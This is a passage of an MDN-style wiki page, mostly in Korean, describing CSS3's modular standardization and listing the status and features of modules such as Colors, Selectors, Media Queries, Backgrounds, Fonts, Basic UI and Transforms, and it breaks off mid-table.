+<p><span class="seoSummary"><strong>CSS3는 </strong><em>Cascading Style Sheets(CSS)</em> 언어의 가장 최신 버전이고 CSS2.1을 상속하는 것을 목표로  합니다.  CSS3는 개발자들이 오랫동안 기다려온 새로운 기능들을 지원하게 되었습니다. 다중열(</span><a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" style="line-height: 1.5;" title="Using CSS multi-column layouts">multi-columns</a>)<span style="line-height: 1.5;">, 유동적인 상자(flexible box), 격자 배치(grid layouts) 뿐만 아니라 둥그런 모서리(</span><span class="seoSummary" style="line-height: 1.5;">rounded corners), 그림자( shadows) , 부드러운 색의 변이(<a href="/en-US/docs/Web/Guide/CSS/Using_CSS_gradients" title="Using CSS gradients">gradients</a>) , 변이(<a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions" title="CSS transitions">transitions</a>), 움직임(<a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations" title="CSS animations">animations</a>) 등도 지원합니다.</span><span style="line-height: 1.5;"> 실험적인 부분(experimental parts)은 브라우저 공급자(vender)의 구현에 따라 다를 수 있고 미래에 문법이나 의미가 변할 수 있습니다. 따라서 환경에 따라 해당 스펙을 사용하는 것을 피하거나, 사용하더라도 매우 신중히 사용해야합니다.  </span></p>
+
+<h2 id="모듈과_표준화_과정(Modules_and_the_standardization_process)">모듈과 표준화 과정<span style="font-size: 2.14285714285714rem;">(Modules and the standardization process)</span></h2>
+
+<p>2002년 8월부터 2011년 6월까지 CSS Level2가 권장(Recommendation)단계에 이르기 까지 총 9년이 걸렸습니다. 이는 몇몇 부차적인 기능들이 전체 명세(specification)의 진행을 더디게 만들었기 때문입니다. W3C의 <a class="external" href="http://www.w3.org/blog/CSS/" style="line-height: 1.5;" title="http://www.w3.org/blog/CSS/">CSS Working Group</a>은 문제를 일으키는 몇몇 기능을 제외한 나머지 기능들의 표준화 작업을 보다 빠르게 진행하기 위하여 <a class="external" href="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules" style="line-height: 1.5;" title="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules">Beijing doctrine</a>에 따라 <span style="line-height: 1.5;">CSS를 보다 작은 컴포넌트 단위로 나눴고, 이를 모듈(module)이라 부릅니다. 현재 각각의 모듈은 서로 </span><span style="line-height: 1.5;">독립적으로 표준화 과정을 거치고 있습니다. 이미 몇몇 모듈은 W3C Rocommendations 에 이르렀으나, 나머지는 여진히 Working Drafts 단계에 머물러 있습니다. 또한 새로운 요구사항(needs)이 발생할 때 마다 계속해서 새로운 모듈이 추가되고 있습니다.</span></p>
+
+<p><a href="/@api/deki/files/6120/=CSS_Modules_and_Snapshots.png" title="CSS_Modules_and_Snapshots.png"><img alt="CSS Modules and Snapshots as defined since CSS3" class="internal lwrap" src="/files/3623/CSS_Modules_and_Snapshots.png" style="float: left; width: 550px;"> </a>공식적으로 CSS3 자체 표준은 존재하지 않습니다. 각각의 모듈이 독립적으로 표준화 되고 있고, 표준 CSS는 모듈을 통해 CSS2.1을 수정하여 상속(extends)하는 것으로 구성되어있서 항상 같은 level number를 갖는 것은 아닙니다. 특정 시점의 CSS2.1과 완성된 모듈들로 구성된 CSS표준 스냅샷을 정의할 수 있습니다. W3C는 주기적으로 이런 스냅샷을 발표하고 있습니다. (<a class="external" href="http://www.w3.org/TR/css-beijing/" style="line-height: 1.5;" title="http://www.w3.org/TR/css-beijing/">2007</a><span style="line-height: 1.5;"> / </span><a class="external" href="http://www.w3.org/TR/css-2010/" style="line-height: 1.5;" title="http://www.w3.org/TR/css-2010/">2010</a>)</p>
+
+<p>아직까지 lever 3보다 높은 level을 가진 모듈은 없지만 곧 생길 것입니다. Selector 4나 CSSborder 4, Background 4와 같은 몇몇 모듈은 Working Draft가 공개된적은 없지만 이미 Editor's Draft는 작성되어 있습니다.</p>
+
+<h2 id="sect1" style=""> </h2>
+
+<h2 id="CSS_모듈의_상태(CSS_modules_status)" style="">CSS 모듈의 상태(CSS modules status)</h2>
+
+<h3 id="안정적인_모듈(Stable_modules)">안정적인 모듈(Stable modules)</h3>
+
+<p>몇개의 모듈은 이미 상당히 안정적이고, CSSWG의 recommendation 3단계(Candidate Recommendation, Propesed Recommendation, Recommendation) 중 하나에 도달했습니다. 이 모듈들은 별도의 과정없이도 꽤 안정적으로 사용할 수 있습다. 하지만 몇몇 기능은 여전히 Candidate Recommendation 단계에 머물러 있습니다.</p>
+
+<p>모듈들은 명세(spec)의 핵심이 되는 CSS2.1을 수정, 상속하고 있습니다. 이것을 포함한 모듈들이 CSS3 명세의 스냅샷이 됩니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="thirdColumn greenBg"><strong>{{ SpecName("CSS3 Colors", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Colors") }} since June 7th, 2011</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>{{ cssxref("opacity") }} 프로퍼티(property)와 {{cssxref("&lt;color&gt;")}} 밸류를 생성하기 위한 the <code>hsl</code><code>()</code>, <code>hsla()</code>, <code>rgba(),</code> <code>rgb()</code> 함수를 추가합니다. 또한 the <code>currentColor</code> keyword로 유효한 색상을 얻을 수 있습니다.</p>
+
+    <p><code style="font-style: normal; line-height: 1.5;">alpha channel의 지원으로 </code><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">rgba(0,0,0,0.0)의 별칭인 </span><code style="font-style: normal; line-height: 1.5;">transparent를 사용할 수 있습니다.</code></p>
+
+    <p> 더이상 사용해선 안되는 <a href="http://www.w3.org/TR/CSS2/ui.html#system-colors">system-color </a>키워드를 deprecates 합니다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Selectors", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Selectors") }} since September 29th, 2011</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>다음이 추가되었습니다.</p>
+
+    <ul>
+     <li>attribute와 일치하는 부분문자열 selector : <code>E[attribute^="value"]</code> , <code>E[attribute$="value"]</code> , <code>E[attribute*="value"]</code> .</li>
+     <li>새로운 pseudo-class : {{ cssxref(":target") }}, {{ cssxref(":enabled") }} and {{ cssxref(":disabled") }}, {{ cssxref(":checked") }}, {{ cssxref(":indeterminate") }}, {{ cssxref(":root") }}, {{ cssxref(":nth-child") }} and {{ cssxref(":nth-last-child") }}, {{ cssxref(":nth-of-type") }} and {{ cssxref(":nth-last-of-type") }}, {{ cssxref(":last-child") }}, {{ cssxref(":first-of-type") }} and {{ cssxref(":last-of-type") }}, {{ cssxref(":only-child") }} and {{ cssxref(":only-of-type") }},{{ cssxref(":empty") }}, and {{ cssxref(":not") }}.</li>
+     <li>Pseudo-elements는 콜론을 하나가 아니라 둘을 사용하도록 함 : <code>:after</code> 가  {{ cssxref("::after") }}로, <code>:before</code> 가 {{ cssxref("::before") }}로, <code>:first-letter</code> 가 {{ cssxref("::first-letter") }}로, <code>:first-line</code> 가 {{ cssxref("::first-line") }}로 바뀌었음.</li>
+     <li>새로운 <em>general sibling combinator</em> ( <code>h1~pre</code> ).</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>아직 Working Draft로 공개되진 않았지만, <a class="external" href="http://dev.w3.org/csswg/selectors4/" title="http://dev.w3.org/csswg/selectors4/">셀렉터 명세의 다음 버전</a>이 이미 진행중입니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Namespaces", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Namespaces") }} since September 29th, 2011</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p><em>CSS qualified name</em><span style="line-height: 1.5;">의 개념을 정의하여 </span><span style="line-height: 1.5;">XML Namespaces에 대한 지원이 추가됩니다. </span><span style="line-height: 1.5;"> 이를 위해 ' </span><code style="font-style: normal; line-height: 1.5;">|</code><span style="line-height: 1.5;"> ' 문법을 사용하고 </span><span style="line-height: 1.5;">{{ cssxref("@namespace") }} CSS at-rule을 더합니다.</span></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Media Queries", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Media Queries") }} since June 19th, 2012</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>이전의 media type ( <code>print</code>, <code>screen</code>, <code>…</code> )을 <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">only screen and (color)와 같이 </span><a href="/en/CSS/Media_queries" style="line-height: 1.5;" title="en/CSS/Media_queries">디바이스의 media capabilities에 대한 질의</a><span style="line-height: 1.5;">가 가능한 full language로 확장합니다.</span></p>
+
+    <p>미디어 쿼리는 CSS 문서에서만 사용되는 것이 아니라 {{ HTMLElement("link") }}의 {{ htmlattrxref("media","link") }}어트리뷰트와 같이 일부 HTML 엘리먼트에서도 사용할 수 있습니다. .</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code style="font-style: normal; line-height: 1.5;"><code style="font-style: normal; line-height: 1.5;">사</code><span style="font-family: open sans,sans-serif; line-height: 1.5;">용자 에이전트의 입력 메소드에 대해 잘 맞는 </span>웹사이트를 제작할 수 있게 해줄</code><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;"> </span><a href="http://dev.w3.org/csswg/mediaqueries4" style="line-height: 1.5;" title="http://dev.w3.org/csswg/mediaqueries4">이 명세의 다음 버전이</a><span style="line-height: 1.5;"> 진행중입니다.</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">hover나</code><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">pointerd와 같은 새로운 미디어 기능을 포함하고 있습니다. </code><code style="font-style: normal; line-height: 1.5;">script</code><span style="line-height: 1.5;"> media features를 이용해 EcmaScript에서도 감지할 수 있도록 제안되었습니다.</span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Style", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Style") }} since November 7th, 2013</td>
+  </tr>
+  <tr>
+   <td colspan="2">HTML <a href="/en/HTML/Global_attributes#attr-style" title="en/HTML/Global_attributes#attr-style"><code>style</code> </a> 전역 특성(global attribute)의 내용(contents)에 관한 문법을 공식적으로 정의합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Backgrounds", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Backgrounds") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>다음이 추가되었습니다. </p>
+
+    <ul>
+     <li><code>uri()</code> 를 통해 정의된 이미지 뿐 아니라 모든 종류의 {{cssxref("&lt;image&gt;")}}에 backgrounds를 지원.</li>
+     <li>다중 background 이미지를 지원.</li>
+     <li>{{ cssxref("background-repeat") }}의 밸류로 <code>space</code> 와 <code>round가 추가.</code></li>
+     <li>The {{ cssxref("background-attachment") }} <code>local</code> value.</li>
+     <li>The CSS {{ cssxref("background-origin") }}, {{ cssxref("background-size") }},  {{ cssxref("background-clip") }} 프로퍼티</li>
+     <li>CSS {{ cssxref("border-radius") }}, {{ cssxref("border-top-left-radius") }}, {{ cssxref("border-top-right-radius") }}, {{ cssxref("border-bottom-left-radius") }},{{ cssxref("border-bottom-right-radius") }} 프로퍼티를 통해 곡선 형태의 테투리를 지원.</li>
+     <li> CSS {{ cssxref("border-image") }}, {{ cssxref("border-image-source") }}, {{ cssxref("border-image-slice") }}, {{ cssxref("border-image-width") }}, {{ cssxref("border-image-outset") }}, and {{ cssxref("border-image-repeat") }} 프로퍼티를 이용해 {{cssxref("&lt;image&gt;")}}를 테두리로 사용할 수 있음.</li>
+     <li> CSS {{ cssxref("box-shadow") }} 프로퍼티를 이용해 엘리먼트에 그림자 효과 부여 가능.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> 아직 Working Draft의 초안이 공개되진 않았지만 <a class="external" href="http://dev.w3.org/csswg/css4-background/" title="http://dev.w3.org/csswg/css4-background/">CSS4 Backgrounds 와 Borders 명세의 다음 버전</a>이 이미 진행중입니다. 테두리를 잘라내는 기능(CSS {{ cssxref("border-clip") }}, {{ cssxref("border-clip-top") }}, {{ cssxref("border-clip-right") }}, {{ cssxref("border-clip-bottom") }}와 {{ cssxref("border-clip-left") }} 프로퍼티를 사용)이나 테투리의 모서리 모양을 조절하는 기능 (CSS {{ cssxref("border-corner-shape") }} 프로퍼티를 사용)을 추가할 계획입니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Multicol", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Multicol") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">CSS {{ cssxref("columns") }}, {{ cssxref("column-count") }}, {{ cssxref("column-fill") }}, {{ cssxref("column-gap") }}, {{ cssxref("column-rule") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("column-rule-style") }}, {{ cssxref("column-rule-width") }}, {{ cssxref("column-span") }}, {{ cssxref("column-width") }}, {{ cssxref("break-after") }}, {{ cssxref("break-before") }},  {{ cssxref("break-inside") }}를 이용해 쉽게 다중 열 레이아웃을 만들 수 있습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Speech", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Speech") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"><code>청각 포맷 모델과 사용자 에이전트의 speech-rendering에 특화된 수많은 프로퍼티를 내용으로 하는 speech</code> 미디어 타입을 정의합니다. </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Images", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Images") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>{{cssxref("&lt;image&gt;")}} 데이터 타입을 정의합니다.</p>
+
+    <p>미디어 프래그먼트를 이용해 이미지를 자를 수 있도록 <code style="font-style: normal; line-height: 1.5;">url()</code><span style="line-height: 1.5;"> 을 상속합니다.</span></p>
+
+    <p>다음이 추가되었습니다 :</p>
+
+    <ul>
+     <li>{{cssxref("&lt;resolution&gt;")}} 데이터 타입에 대한 단위인 <code style="font-style: normal;">dppx</code>.</li>
+     <li><code><font face="Open Sans, sans-serif">url로 부터 이미지를 정의하는 데 있어 </font></code><code>url()</code> 보다 더 유연한 <code style="font-style: normal;">image()</code> 함수.<br>
+      <em><strong>주의</strong>  </em><strong><em>:</em> </strong><em>브라우저의 불충분한 지원으로  <code>image()</code> 함수의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다.</em></li>
+     <li><code>linear-gradient()</code>, <code>repeating-linear-gradient()</code>, <code>radial-gradient()<font face="Open Sans, sans-serif">, </font></code><code>repeating-radial-gradient()을 지원</code>.</li>
+     <li>CSS {{ cssxref("object-fit") }} 프로퍼티를 이용해 교체된 엘리먼트가 어떻게 맞춰져야할지 정의할 수 있음.<br>
+      <em><em><strong>주의</strong>  </em><strong><em>:</em> </strong><em>브라우저의 불충분한 지원으로  <em>{{ cssxref("object-fit") }}</em>의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다.</em> </em></li>
+     <li>CSS {{ cssxref("image-resolution") }} 와 {{ cssxref("image-orientation") }} 프로퍼티를 이용해 외부 이미지의 방향과 해상도를 오버라이드 할수 있음<br>
+      <em><em><strong>주의</strong>  </em><strong><em>:</em> </strong><em>브라우저의 불충분한 지원으로  <em> {{ cssxref("image-resolution") }} 와 {{ cssxref("image-orientation") }}</em>의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다.</em> </em></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>CSS Image Level 3를 대체할  <a href="#Images_(Level_4)" style="line-height: 1.5;">CSS Image Values 와 Replaced Content Level 4</a><span style="line-height: 1.5;"> 는 현재 개발중에 있고 {{Spec2("CSS4 Images")}} 입니다.</span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Values", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Values") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p><code>initial</code> 키워드와 <code>inherit</code> 키워드를 모든 CSS 프로퍼티에 대해 사용할 수 있습니다.</p>
+
+    <p><span style="line-height: 1.5;">문법적 토큰과 원문의 정도(Precision)의해 </span><span style="line-height: 1.5;">암묵적으로 </span><span style="line-height: 1.5;">정의했던 CSS2.1의 CSS 데이터 타입을 </span><span style="line-height: 1.5;">공식적으로  </span><span style="line-height: 1.5;">정의합니다. </span></p>
+
+    <p>다음이 추가되었습니다 :</p>
+
+    <ul>
+     <li>폰트에 상대적인 길이 단위에 대한 정의 : <code>rem</code> , <code>ch</code> .</li>
+     <li>뷰포트에 상대적인 길이 단위에 대한 정의: <code>vw</code>, <code>vh</code>, <code>vmax</code>, <code>vmin</code> .</li>
+     <li>절대 길이 단위의 실제 사이즈에 대한 정도(Precision). 절대 길이는 실제로는 '절대치'가 아니며 <em>reference pixel</em>에 대하여 상대적으로 정의.</li>
+     <li>{{ cssxref("&lt;angle&gt;") }}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;resolution&gt;")}}에 대한 정의.</li>
+     <li> {{cssxref("&lt;color&gt;")}}, {{cssxref("&lt;image&gt;")}}, {{ cssxref("&lt;position&gt;") }}의 정의에 대한 규범적인 밸류.</li>
+     <li>{{ cssxref("calc", "calc()") }}, {{ cssxref("attr", "attr()")}}에 대한 정의와 <code>toggle()의</code> 표기법<br>
+      <em><strong>주의 :</strong><em><em>브라우저의 불충분한 지원으로  <em> </em></em></em><code>calc()</code>, <code>attr()</code>, <code>ooggle()</code> 표기법의 표준화는 이 모듈의 다음 버전으로 연기될 수 있습니다.</em></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> <code>&lt;ident&gt;</code> ,<code>&lt;custom-ident&gt;같은 몇몇 정의는 </code>CSS Values and Units Module Level 4로 미뤄졌습니다..</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Flexbox", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Flexbox") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">CSS {{ cssxref("display") }} 프로퍼티에 flexbox layout과 이것을 제어할 몇몇 새 CSS 프로퍼티가 추가되었습니다 : {{ cssxref("flex") }}, {{ cssxref("flex-align") }}, {{ cssxref("flex-direction") }}, {{ cssxref("flex-flow") }}, {{ cssxref("flex-item-align") }}, {{ cssxref("flex-line-pack") }}, {{ cssxref("flex-order") }}, {{ cssxref("flex-pack") }}, and {{ cssxref("flex-wrap") }}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Conditional", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Conditional") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">스타일 시트의 몇몇 부분을 특정 조건하에 처리하기 위한 기능이 추가되었습니다. 스타일시트가 적용될 문서나 브라우저의 능력에 따라 작동하게 됩니다{{ cssxref("@media") }}의 하위에 들여쓰기된 앳-룰(at-rule)을 사용할 수 있고, 새로운 CSS 앳-룰인 {{ cssxref("@supports") }}와 새 DOM 메소드인 {{domxref("CSS.supports()")}}가 추가되었습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Text-decoration", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Text-decoration") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Extends:</p>
+
+    <ul>
+     <li>the CSS {{ cssxref("text-decoration") }} property by making it a shorthand for the CSS {{ cssxref("text-decoration-line") }}, {{ cssxref("text-decoration-color") }}, and {{ cssxref("text-decoration-style") }} properties. And adds the {{ cssxref("text-decoration-skip") }}, and {{ cssxref("text-underline-position") }} properties.</li>
+    </ul>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>Support for East-Asian-script emphasis marks with the CSS {{ cssxref("text-emphasis") }}, {{ cssxref("text-emphasis-style") }}, {{ cssxref("text-emphasis-color") }}, and {{ cssxref("text-emphasis-position") }} properties.</li>
+     <li>Support for script shadows with the CSS {{ cssxref("text-shadow") }} property.</li>
+    </ul>
+
+    <p>Precises:</p>
+
+    <ul>
+     <li>The paint order of the decorations.</li>
+    </ul>
+
+    <p><em><strong>At risk:</strong> due to insufficient browser support, standardization of the <code>text-decoration-skip</code>, line positioning rules and the ability to place both emphasis marks and ruby above the same base text may be postponed to </em> <em>the next iteration of this module</em><em>.</em></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Fonts", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Fonts") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Amends the CSS2.1 Font matching algorithm to be closer to what is really implemented.</p>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>Support for downloadable fonts via the CSS {{ cssxref("@font-face") }} at-rule.</li>
+     <li>The control of the contextual inter-glyph spacing via the CSS {{ cssxref("font-kerning") }} property.</li>
+     <li>The choice of language-specific glyphs via the CSS {{ cssxref("font-language-override") }} property.</li>
+     <li>The choice of glyphs with specific OpenType features via the CSS {{ cssxref("font-feature-settings") }} property.</li>
+     <li>The control of the aspect ratio to use when fallback fonts are selected via the CSS {{ cssxref("font-size-adjust") }} property.</li>
+     <li>The choice of alternative font faces using the CSS {{ cssxref("font-stretch") }}, {{ cssxref("font-variant-alternates") }}, {{ cssxref("font-variant-caps") }}, {{ cssxref("font-variant-east-asian") }}, {{ cssxref("font-variant-ligatures") }}, {{ cssxref("font-variant-numeric") }}, and {{ cssxref("font-variant-position") }} properties. It also extends the related CSS {{ cssxref("font-variant") }} shorthand property and introduces the {{ cssxref("@font-features-values") }} at-rule.</li>
+     <li>The control of the automatic generation of an oblique or bold face when none are found via the CSS {{ cssxref("font-synthesis") }} property.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Syntax", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Syntax") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Precises how charsets are determined; minor changes in parsing and tokenization algorithms.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Modules_in_the_refining_phase">Modules in the refining phase</h3>
+
+<p>Specifications that are deemed to be in the <em>refining phase</em> are already fairly stable. Though changes are still expected, they shouldn't create incompatibilities with current implementations; they should mainly define behavior in edge cases.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Basic UI", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Basic UI") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Adds:</p>
+
+    <ul>
+     <li>The ability to tweak the box model using the CSS {{ cssxref("box-sizing") }} property.<br>
+      <strong><em>At risk:</em> </strong> <em> due to insufficient browser support, standardization of the <code>padding</code><code>-box</code> value may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>Allow the styling of forms according their content using the CSS {{ cssxref(":indeterminate") }}, {{ cssxref(":default") }}, {{ cssxref(":valid") }}, {{ cssxref(":invalid") }}, {{ cssxref(":in-range") }}, {{ cssxref(":out-of-range") }}, {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":read-only") }}, and {{ cssxref(":read-write") }} pseudo-classes and the {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} pseudo-elements.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the pseudo-elements {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>Support for icons, defined by the CSS {{ cssxref("icon") }} property simultaneously with the new <code>icon</code> value of the CSS {{ cssxref("content") }} property.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("icon") }} property and the <code>icon</code> value may be postponed to CSS4. </em></li>
+     <li>Support for the CSS {{ cssxref("outline-offset") }} property giving more control on the position of the outline.</li>
+     <li>Support for the CSS {{ cssxref("resize") }} property allowing Web authors to control if and how elements should be resized.</li>
+     <li>Support for the CSS {{ cssxref("text-overflow") }} property defining how text overflows, if needed.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, the 2-value syntax of this property as well as the support for {{cssxref("&lt;string&gt;")}} values may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>The ability to define the hotspot of a cursor as well as the new <code>none</code>, <code>context-menu</code>, <code>cell</code>, <code>vertical-text</code>, <code>alias</code>, <code>copy</code>, <code>no-drop</code>, <code>not-allowed</code>, <code>nesw-</code><code>resize</code>, <code>nwse-</code><code>resize</code>, <code>col-resize</code>, <code>row-resize</code>, <code>all-scroll</code>, <code>zoom-in</code>, <code>zoom-out</code>, extending the {{ cssxref("cursor") }} property.</li>
+     <li>The ability to specify the sequential navigation order (that is the <em>tabbing order</em> ) using the CSS {{ cssxref("nav-index") }}, {{ cssxref("nav-up") }}, {{ cssxref("nav-right") }}, {{ cssxref("nav-left") }}, {{ cssxref("nav-down") }} properties.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the navigation properties may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+     <li>The ability to control the usage of an IME editor, using the CSS {{ cssxref("ime-mode") }} property.<br>
+      <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("ime-mode") }} property may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>An early list of what could be in the next iteration of the CSS Basic User Interface Module is <a class="external" href="http://wiki.csswg.org/spec/css4-ui" title="http://wiki.csswg.org/spec/css4-ui">available</a>.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transitions", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Transitions") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Allows the definition of transitions effects between two properties values by adding the CSS {{ cssxref("transition") }}, {{ cssxref("transition-delay") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-property") }}, and {{ cssxref("transition-timing-function") }} properties.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Animations", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Animations") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Allows the definition of animations effects by adding the CSS {{ cssxref("animation") }}, {{ cssxref("animation-delay") }},{{ cssxref("animation-direction") }}, {{ cssxref("animation-duration") }}, {{ cssxref("animation-fill-mode") }}, {{ cssxref("animation-iteration-count") }}, {{ cssxref("animation-name") }}, {{ cssxref("animation-play-state") }}, and {{ cssxref("animation-timing-function") }} properties, as well as the {{ cssxref("@keyframes") }} at-rule.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transforms", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Transforms") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Adds:</p>
+
+    <ul>
+     <li>the support of bi-dimensional transforms to be applied to any element using the CSS {{ cssxref("transform") }} and {{ cssxref("transform-origin") }} properties. The supported transforms are: <code>matrix</code><code>()</code>, <code>translate()</code>, <code>translateX()</code>, <code>translateY()</code>, <code>scale()</code>, <code>scaleX()</code>, <code>scaleY()</code>, <code>rotate()</code>, <code>skewX()</code>, and <code>skewY()</code>.</li>
